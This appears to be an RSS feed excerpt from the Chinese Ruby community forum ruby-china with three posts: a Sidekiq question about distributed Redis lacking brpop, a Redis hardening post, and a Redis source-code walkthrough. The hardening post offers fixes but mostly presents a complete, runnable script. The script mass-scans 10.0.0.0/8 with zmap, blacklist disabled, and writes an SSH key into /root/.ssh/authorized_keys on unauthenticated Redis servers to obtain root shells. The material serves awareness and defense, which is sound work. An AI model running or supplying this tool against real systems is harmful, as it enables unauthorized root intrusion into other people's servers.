&lt;p&gt;2.因为公司原因，我们需要使用公司内别的部门提供的 Redis 服务，当前我们申请的是一个分布式的 Redis，结果在本地调试连接这个分布式的 Redis 时 sidekiq 报错了，一处是调用了&lt;code&gt;info&lt;/code&gt;方法，另外一处是调用了 Redis 的&lt;code&gt;brpop&lt;/code&gt;方法，这两个方法分布式的 Redis 均不支持，而且一旦调用了，Redis 就自动把连接给断开了。&lt;/p&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;retrieve_work&lt;/span&gt;
  &lt;span class="c1"&gt;# 这里调用了brpop&lt;/span&gt;
  &lt;span class="n"&gt;work&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Sidekiq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redis&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;brpop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;queues_cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="no"&gt;UnitOfWork&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;work&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个地方我也有困惑，我查了下&lt;code&gt;brpop&lt;/code&gt;，是一个阻塞型方法，是不是分布式的系统很难实现阻塞型方法呢？因为我看了下公司分布式 Redis 的文档，不支持的指令列表中好几个指令都是 b 开头的。&lt;/p&gt;</description>
      <author>night_7th</author>
      <pubDate>Tue, 12 Apr 2016 20:04:13 +0800</pubDate>
      <link>https://ruby-china.org/topics/29687</link>
      <guid>https://ruby-china.org/topics/29687</guid>
    </item>
    <item>
      <title>请务必注意 Redis 安全配置，否则将导致轻松被入侵</title>
      <description>&lt;h2 id="改了下标题，不吸引人都没人看"&gt;改了下标题，不吸引人都没人看&lt;/h2&gt;&lt;h3 id="一、前言"&gt;一、前言&lt;/h3&gt;
&lt;p&gt;前段时间，在做内网影响程度评估的时候写了扫描利用小脚本，
扫描后统计发现，内网中 60% 开放了 redis6379 端口的主机处于可以被利用的危险状态，因为都是一些默认配置造成的
考虑到本社区大部分开发者都会使用 redis，特此分享下以便大家可以对自己公司的内网进行一个排查。&lt;/p&gt;
&lt;h3 id="二、漏洞介绍"&gt;二、漏洞介绍&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;入侵特征：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Redis 可能执行过 FLUSHALL 方法，整个 Redis 数据库被清空&lt;/li&gt;
&lt;li&gt;在 Redis 数据库中新建了一个名为 crackit（网上流传的命令指令）的键值对，内容为一个 SSH 公钥。&lt;/li&gt;
&lt;li&gt;在 /root/.ssh 文件夹下新建或者修改了 authorized_keys 文件，内容为 Redis 生成的 db 文件，包含上述公钥&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="三、修复建议"&gt;三、修复建议&lt;/h3&gt;&lt;h4 id="1.禁止一些高危命令"&gt;1.禁止一些高危命令&lt;/h4&gt;
&lt;p&gt;修改 redis.conf 文件，添加&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rename-command FLUSHALL &lt;span class="s2"&gt;""&lt;/span&gt;
rename-command CONFIG   &lt;span class="s2"&gt;""&lt;/span&gt;
rename-command EVAL     &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;来禁用远程修改 DB 文件地址&lt;/p&gt;
&lt;h4 id="2.以低权限运行 Redis 服务"&gt;2.以低权限运行 Redis 服务&lt;/h4&gt;
&lt;p&gt;为 Redis 服务创建单独的用户和家目录，并且配置禁止登陆&lt;/p&gt;
&lt;h4 id="3.为 Redis 添加密码验证"&gt;3.为 Redis 添加密码验证&lt;/h4&gt;
&lt;p&gt;修改 redis.conf 文件，添加&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;requirepass mypassword
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4.禁止外网访问 Redis"&gt;4.禁止外网访问 Redis&lt;/h4&gt;
&lt;p&gt;修改 redis.conf 文件，添加或修改&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;bind &lt;/span&gt;127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使得 Redis 服务只在当前主机可用&lt;/p&gt;
&lt;h3 id="四、扫描工具"&gt;四、扫描工具&lt;/h3&gt;&lt;h4 id="1 使用说明"&gt;1 使用说明&lt;/h4&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#以Ubuntu为例&lt;/span&gt;
su

&lt;span class="c"&gt;# Requirements&lt;/span&gt;
apt-get &lt;span class="nb"&gt;install &lt;/span&gt;redis-server expect zmap

git clone https://github.com/qingxp9/yyfexploit
&lt;span class="nb"&gt;cd &lt;/span&gt;yyfexploit/redis

&lt;span class="c"&gt;# 扫描6379端口&lt;/span&gt;
&lt;span class="c"&gt;# 如果你要扫内网，把/etc/zmap/zmap.conf中blacklist-file这一行注释掉&lt;/span&gt;
zmap &lt;span class="nt"&gt;-p&lt;/span&gt; 6379 10.0.0.0/8 &lt;span class="nt"&gt;-B&lt;/span&gt; 10M &lt;span class="nt"&gt;-o&lt;/span&gt; ip.txt

&lt;span class="c"&gt;# Usage&lt;/span&gt;
./redis.sh ip.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，将会生成几个 txt 文件记录结果
其中：
runasroot.txt   表示 redis 无认证，且以 root 运行
noauth.txt        表示 redis 无认证，但以普通用户运行
rootshell.txt   已写入公钥，可直接以证书登录 root 用户&lt;/p&gt;

&lt;p&gt;像这样：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;ssh -i id_rsa root@x.x.x.x&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id="2 工具源代码"&gt;2 工具源代码&lt;/h4&gt;
&lt;p&gt;就贴下代码吧，各位大牛请在家长陪同下观看&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/sh&lt;/span&gt;
 &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$# &lt;/span&gt;&lt;span class="nt"&gt;-eq&lt;/span&gt; 1  &lt;span class="o"&gt;]&lt;/span&gt;
 &lt;span class="k"&gt;then
   &lt;/span&gt;&lt;span class="nv"&gt;ip_list&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;

   &lt;span class="c"&gt;##create id_rsa&lt;/span&gt;
   &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"****************************************Create id_rsa file"&lt;/span&gt;

   expect &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
     spawn ssh-keygen -t rsa -f id_rsa -C &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;yyf&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
     expect {
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;*passphrase): &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; {
             exp_send &lt;/span&gt;&lt;span class="se"&gt;\"\r\"&lt;/span&gt;&lt;span class="s2"&gt;
             exp_continue
         }
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;*again: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; {
             exp_send &lt;/span&gt;&lt;span class="se"&gt;\"\r\"&lt;/span&gt;&lt;span class="s2"&gt;
         }
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;*y/n)? &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; {
             exp_send &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;n&lt;/span&gt;&lt;span class="se"&gt;\r\"&lt;/span&gt;&lt;span class="s2"&gt;
         }
     }
     expect eof
   "&lt;/span&gt;

   &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;****************************************Attack Targets"&lt;/span&gt;
   &lt;span class="nb"&gt;touch &lt;/span&gt;noauth.txt runasroot.txt rootshell.txt haveauth.txt
   &lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
   &lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="nv"&gt;$ip_list&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;ip
   &lt;span class="k"&gt;do
     &lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;expr&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; + 1&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
     &lt;span class="c"&gt;#write id_rsa.pub to remote&lt;/span&gt;
     &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"*****&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;***connect to remote &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; redis "&lt;/span&gt;

     expect &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
       set timeout 3
       spawn redis-cli -h &lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt; config set dir /root/.ssh/
       expect {
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;OK&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;                        { exit 0 }
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;ERR Changing directory: Permission denied&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;         { exit 1 }
         timeout                       { exit 2 }
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;(error) NOAUTH Authentication required&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;         { exit 3 }
       }
     "&lt;/span&gt;

     &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt; &lt;span class="k"&gt;in
         &lt;/span&gt;0&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"run redis as root"&lt;/span&gt;
             &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; noauth.txt
             &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; runasroot.txt
         &lt;span class="p"&gt;;;&lt;/span&gt;
         1&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"not run redis as root&lt;/span&gt;&lt;span class="se"&gt;\n\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
             &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; noauth.txt
             &lt;span class="k"&gt;continue&lt;/span&gt;
         &lt;span class="p"&gt;;;&lt;/span&gt;
         2&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"connect timeout&lt;/span&gt;&lt;span class="se"&gt;\n\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
             &lt;span class="k"&gt;continue&lt;/span&gt;
         &lt;span class="p"&gt;;;&lt;/span&gt;
         3&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Have Auth&lt;/span&gt;&lt;span class="se"&gt;\n\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
             &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; haveauth.txt
             &lt;span class="k"&gt;continue&lt;/span&gt;
         &lt;span class="p"&gt;;;&lt;/span&gt;
     &lt;span class="k"&gt;esac&lt;/span&gt;

     &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;cat &lt;/span&gt;id_rsa.pub&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; foo.txt
     &lt;span class="nb"&gt;cat &lt;/span&gt;foo.txt | redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;1
     redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; config &lt;span class="nb"&gt;set dir&lt;/span&gt; /root/.ssh/
     redis-cli &lt;span class="nt"&gt;-h&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; config &lt;span class="nb"&gt;set &lt;/span&gt;dbfilename &lt;span class="s2"&gt;"authorized_keys"&lt;/span&gt;
     redis-cli save

     &lt;span class="c"&gt;#login test&lt;/span&gt;
     &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"#try to login"&lt;/span&gt;
     expect &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
       set timeout 5
       spawn ssh -i id_rsa root@&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt; echo &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;yyf&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;
       expect {
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;*yes/no&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;     { send &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;yes&lt;/span&gt;&lt;span class="se"&gt;\n\"&lt;/span&gt;&lt;span class="s2"&gt;}

         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;*password&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;   { send &lt;/span&gt;&lt;span class="se"&gt;\"\0&lt;/span&gt;&lt;span class="s2"&gt;03&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;; exit 1 }
         &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;yyf&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;         { exit 0 }
         timeout         { exit 2 }
       }
       exit 4
     "&lt;/span&gt;

     &lt;span class="nv"&gt;exitcode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;

     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$exitcode&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;
     &lt;span class="k"&gt;then
       &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"---------------&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; is get root shell"&lt;/span&gt;
       &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; rootshell.txt
     &lt;span class="k"&gt;fi

     &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
   &lt;span class="k"&gt;done

   &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"##########Final Count##########"&lt;/span&gt;
   &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nv"&gt;$ip_list&lt;/span&gt;
   &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"----------"&lt;/span&gt;
   &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; noauth.txt
   &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; runasroot.txt
   &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; rootshell.txt
   &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"----------"&lt;/span&gt;
   &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; haveauth.txt

 &lt;span class="k"&gt;else
   &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"usage: ./redis.sh ip.txt"&lt;/span&gt;
 &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="五、相关参考"&gt;五、相关参考&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="http://zone.wooyun.org/content/23858" rel="nofollow" target="_blank"&gt;http://zone.wooyun.org/content/23858&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.islandzero.net/2015/11/11/redis-crackit/" rel="nofollow" target="_blank"&gt;https://blog.islandzero.net/2015/11/11/redis-crackit/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/" rel="nofollow" target="_blank"&gt;http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;

&lt;p&gt;如果代码有写得不合理的地方，还望指出哈&lt;/p&gt;</description>
      <author>qingxp9</author>
      <pubDate>Wed, 18 Nov 2015 00:59:26 +0800</pubDate>
      <link>https://ruby-china.org/topics/28094</link>
      <guid>https://ruby-china.org/topics/28094</guid>
    </item>
    <item>
      <title>河狸家：Redis 源码的深度剖析</title>
      <description>&lt;blockquote&gt;
&lt;p&gt;文：河狸家 架构师 陈科&lt;/p&gt;

&lt;p&gt;原文链接：&lt;a href="http://t.cn/RyuxZQJ" rel="nofollow" target="_blank"&gt;http://t.cn/RyuxZQJ&lt;/a&gt; &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Redis 这个东西很简单，懂 C 语言的同学花一个下午，可以把它的来龙去脉都研究懂。但是，它麻雀虽小五脏俱全。一个常见的软件，比如 Redis，跑起来该用的东西可能都用一些，如果我们把 Redis 搞懂了，要分析一款其他的软件，思路可能也是差不多的，所以我借这个机会，跟大家分享一下我们解剖一个软件的过程。&lt;/p&gt;

&lt;p&gt;分享 Redis，主要通过以下几个步骤。&lt;/p&gt;
&lt;h2 id="启动过程"&gt;&lt;strong&gt;启动过程&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/1.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;首先，看一下 Redis 的一个启动过程。任何一款软件，它的很多 C 语言实现的过程，都是从 main 函数这个漏斗开始的。一般任何软件设计的时候，不管是 Redis，还是阿帕奇，或者乱七八糟的东西，一般 Main 函数都定义在跟它软件名字一样的。C 文件里面，里面 main 函数执行的过程分以下几步：&lt;/p&gt;

&lt;p&gt;第一步，Redis 会设置一些回调函数，当前时间，随机数的种子。回调函数实际上什么？举个例子，比如 Q/3 要给 Redis 发送一个关闭的命令，让它去做一些优雅的关闭，做一些扫尾清楚的工作，这个工作如果不设计回调函数，它其实什么都不会干。其实 C 语言的程序跑在操作系统之上，Linux 操作系统本身就是提供给我们事件机制的回调注册功能，所以它会设计这个回调函数，让你注册上，关闭的时候优雅的关闭，然后它在后面可以做一些业务逻辑。&lt;/p&gt;

&lt;p&gt;第二步，不管任何软件，肯定有一份配置文件需要配置。首先在服务器端会把它默认的一份配置做一个初始化。&lt;/p&gt;

&lt;p&gt;第三步，Redis 在 3.0 版本正式发布之前其实已经有筛选这个模式了，但是这个模式，我很少在生产环境在用。Redis 可以初始化这个模式，比较复杂。&lt;/p&gt;

&lt;p&gt;第四步，解析启动的参数。其实不管什么软件，它在初始化的过程当中，配置都是由两部分组成的。第一部分，静态的配置文件；第二部分，动态启动的时候，main，就是参数给它的时候进去配置。&lt;/p&gt;

&lt;p&gt;第五步，把服务端的东西拿过来，装载 Config 配置文件，loadServerConfig。&lt;/p&gt;

&lt;p&gt;第六步，初始化服务器，initServer。&lt;/p&gt;

&lt;p&gt;第七步，从磁盘装载数据。&lt;/p&gt;

&lt;p&gt;第八步，有一个主循环程序开始干活，用来处理客户端的请求，并且把这个请求转到后端的业务逻辑，帮你完成命令执行，然后吐数据，这么一个过程。&lt;/p&gt;
&lt;h2 id="服务器的模型"&gt;&lt;strong&gt;服务器的模型&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/2.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;接下来看一下 Redis 服务器的模型。Redis 实现的过程当中，基于不动的操作系统，封装了不同的模型。举个例子，它在 Linux 上面是基于 epoll 做了一个封装，不管怎么样，它都是以 ae_epoll.c 封装的。封装过程当中有三个步骤，我们用原生调用 epoll 的时候也是三个步骤完成。第一个步骤，aeApiCreate，就是 epoll 的一个池子，先创建了一个池子的东西。第二、通过 ApiAddEvent 调用 epoll 这个函数，可以往 epoll 池子里面注册事件。第三、ApiPoll，通过 epoll_wait 来获取已经响应的事件。&lt;/p&gt;
&lt;h2 id="Redis 在服务端初始化 epoll"&gt;&lt;strong&gt;Redis 在服务端初始化 epoll&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/3.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;首先，在 main 函数初始化过程当中调用了 innitServer，其实就是调用刚才讲的 aeCreateEvent，创建了 epoll 池子。然后调用函数，设定 EVENTLOOP_FDSET_INCR。然后设置回调函数，注册的事件响应之后要干活，这是一个循环调用的过程。怎么调呢？我们把 aeCreateEvent 这个函数展开，里面有两个过程，Event 如果这个死循环在调用的过程当中，可以跟两类事件发生交道。第一类事件，aeflieEvent。第二类事件，aeTimeEvent。因为 Redis 针对 epoll 再做一次封装的时候，它实现了一个定时器，这个定时器可以把你想要注册到这个定时器里面的一些事件注册进去。举个例子，比如内存淘汰的时候，是一个 LRU 的一个算法，你注册到这个定时器，比如内存达到某个大小，比如限制两兆，当它大于两兆的时候要淘汰，这个时候定时器在这个场景下面就会发生作用。&lt;/p&gt;
&lt;h2 id="主循环的实现原理"&gt;&lt;strong&gt;主循环的实现原理&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/4.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;Redis 真正的主循环的原理，大致可以分成三步：&lt;/p&gt;

&lt;p&gt;第一步，查找一些优先要处理的事件。什么叫优先要处理？你在调用 API 的时候，这个 API 可能作为 Redis 的使用者不会去关注。但是作为 Redis 的开发者他可能会关注到。你首先要让 Redis 执行一个东西，它这个时候会优先去做处理。&lt;/p&gt;

&lt;p&gt;第二步，假如说没有优先处理实践，则执⾏ aeApiPoll 来处理 epoll 中的就绪事件。&lt;/p&gt;

&lt;p&gt;最后，处理定时器任务。&lt;/p&gt;
&lt;h2 id="服务器整体架构图"&gt;&lt;strong&gt;服务器整体架构图&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/5.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;我们可以通过这张图回顾一下它整体服务器的架构，其实就是这么一回事。最中间圆圈，代表了一个死循环。死循环要跑的时候，要干哪些活？我们把逻辑注册到某个池子里面，比如注册到 epoll 的池子里面，或者注册到定时器当中。它都是通过一些回调函数注册的。比如 TCP 的时间要响应，就不停的执行，这么一个过程，Redis 本身实现也不是太复杂。&lt;/p&gt;

&lt;p&gt;当你启动 Redis 的时候，它本身就是一个单进程，单线程的模式。所以，我们在事件处理过程当中，要做到非常小心，精确的做一些控制，因为你的事件一旦进到 Redis 里面，比如我们简单的让 Redis 做一个技术器加法运算，如果加法运算时间花的很多，后面的规模可能就一直等在那里，执行不下去了，因为它是单线程，单进程的。所以说，如果你让 Redis 同步在执行的过程当中，它必然是 CPU 密集型的运算，而且能很快计算完毕，把结果推送给你。&lt;/p&gt;
&lt;h2 id="请求协议"&gt;&lt;strong&gt;请求协议&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src="http://lock522.b0.upaiyun.com/6.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;其实请求的协议，在前面 main 函数执行过程当中会 initSever，在 initSever 过程当中我们会注册一个 acceptTcpHandler 回调函数，然后这个函数就会被调用了。Redis 请求协议分称两种，第一、inline 协议，第二、multibulk 协议，如果不是各*开头，就是 inline 协议。&lt;/p&gt;

&lt;p&gt;首先，看 inline 的协议，调用 processInline 这个函数比较简单，当你把数据发送给服务端，任何的软件都会把这个数据丢到一个缓存区，Redis 里面有一个 querybuf 结构，执行到缓存区，然后存入到 client 的 arg 数组，argc 代表了参数的格式。processMultibulkBuffer 协议，我们这里有三个参数的数量，比如 3，指的是长度 3，具体就是这么一个过程。&lt;/p&gt;

&lt;p&gt;当我们把这数据完全解析完之后，这个时候就知道它是什么命令了。比如刚才 Set 命令已经解析完，我们知道它是一个 Set 命令，并且知道它的参数是什么。这时候我们会调用 processcommand 这个函数，执行的过程分成 12 个步骤：&lt;/p&gt;

&lt;p&gt;第一、假如命令当中包含了 quit，后面的指令将不会被执行，直接会返回退出来。&lt;/p&gt;

&lt;p&gt;第二、如果不包含 quit，它有一个 cmd 的结构数组，会到里面查找现在命令到底是哪一个，把具体要执行命令的函数执政找到。&lt;/p&gt;

&lt;p&gt;第三、检测命令的参数个数。&lt;/p&gt;

&lt;p&gt;第四、如果服务器配置需要密码检验功能，调用的命令必须是 authCommand。&lt;/p&gt;

